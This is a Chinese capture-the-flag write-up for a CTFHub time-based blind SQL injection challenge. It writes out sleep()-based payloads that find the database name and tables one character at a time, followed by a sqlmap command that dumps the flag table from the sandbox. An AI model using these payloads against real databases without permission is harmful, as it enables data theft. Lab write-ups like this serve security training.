CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
2501_9378609427 分钟前
MySQL表的操作:创建、查看、修改、删除完整实战
android·数据库·mysql
奇特認4 小时前
mysql 集群技术 3.高可用之 MHA
数据库·mysql
Bioinfo Guy7 小时前
高分Panel复现系列|转录因子网络太乱?用模块框把重点圈出来
数据库·生物信息学·生信可视化
不会代码的小猴8 小时前
21. 泛型编程上
开发语言·c++·笔记·算法
ltl8 小时前
Disaggregated DB 合集:Socrates、PolarDB、Taurus 的共同模式
数据库
摇滚侠9 小时前
《SpringBoot 3:入门与应用实战》第 2 章 IOC 思想与实现 阅读笔记 1
spring boot·笔记·后端
蒸蒸yyyyzwd10 小时前
秋招不熟悉力扣学习笔记1
笔记·学习·leetcode
Blossom i10 小时前
大数据预处理与采集实验一:使用Python操作MySQL数据库
数据库·mysql
smilejingwei11 小时前
CodeBuddy+SQLazy 编写复杂 SQL 详解
sql·codebuddy·sqlazy
LuminousCPP11 小时前
数据结构-双向循环链表
c语言·数据结构·笔记·链表